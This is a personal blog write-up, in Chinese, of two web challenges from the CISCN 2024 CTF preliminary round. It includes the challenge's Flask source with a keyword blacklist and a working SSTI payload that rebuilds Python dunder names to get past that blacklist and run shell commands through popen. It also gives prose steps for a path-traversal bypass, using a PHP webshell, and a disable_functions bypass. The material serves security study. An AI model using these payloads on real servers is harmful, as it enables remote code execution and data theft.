CISCN初赛回顾

Wang1r Lv3

CISCN作为国内CTF比赛中最具含金量的比赛(大概),初赛题目对我还是很有难度的,这下真是拼尽全力无法战胜了(笑),好在结果还算不错,不出意外可以进到半决赛,所以也算是记录一下吧。

由于我在比赛中只做了web和取证,而取证部分又基本完全由队友完成的,就姑且记录一下做出来的两道web题吧。

个人WP

Web

safe_proxy

这是出的第一道web题,考点在于无回显的SSTI注入

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)


@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>' + html.escape(f.read()) + '</pre>'


@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return "success" if result is not None else 'error'


class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()


def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

很显然难点在于无回显,很难测试哪些payload可以成功,这时我们就可以将源代码在本地运行一下,将其中的return "success" if result is not None else 'error'改为return result if result is not None else 'error',显然此时就有回显了。

这个时候就可以用fenjing进行一把梭了,将跑出来的payload用于题目环境即可。

1
2
3
4
5
import requests
url = "http://example.com"
payload = {'code': "{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set sr='so'[::-1]%}{{cycler.next[gl][bu][im](sr)['p''open']('cat /flag > app.py').read()}}"}
response = requests.post(url=url,data=payload)
print(response.text)

还有一个值得注意的点是,由于没有回显,获取到的结果需要通过重定向的方式输出到文件里,这样才能读出结果。

运行完脚本就可以直接读app.py获取flag了。

hello_web

首先进入到页面,在源代码中找到注释,得知有tips.php和hackme.php,又由于访问是通过传参的方式进行的,于是尝试目录穿越,失败。

那就读取tips.php与hackme.php,直接访问会提示不对,应该访问上层目录的文件,于是考虑../tips.php和../hackme.php,发现失败,考虑双写绕过,访问….//tips.php和….//hackme.php,发现一个是phpinfo(),另一个是一段php代码,逐步分析执行该php代码,得到这是一个传参为cmd_66.99的一句话木马。

直接用蚁剑连接发现虚拟终端无法使用,怀疑是disable_functions的问题,于是在GitHub上找到bypass脚本 ,注入到hackme.php,其中需要注意cmd_66.99的下划线需要用’[‘来绕过。

注入之后就可以进行RCE了,直接读取flag即可。

赛后感想

其实我在做题时还是没法独立做出来,还是不得不借助学长的帮忙,回想起来非常惭愧。还好距离半决赛还有一段时间,这段时间内我会努力提高的(大概

  • 标题: CISCN初赛回顾
  • 作者: Wang1r
  • 创建于 : 2024-12-28 18:04:17
  • 更新于 : 2025-04-07 12:34:08
  • 链接: https://wang1rrr.github.io/2024/12/28/CISCN初赛回顾/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。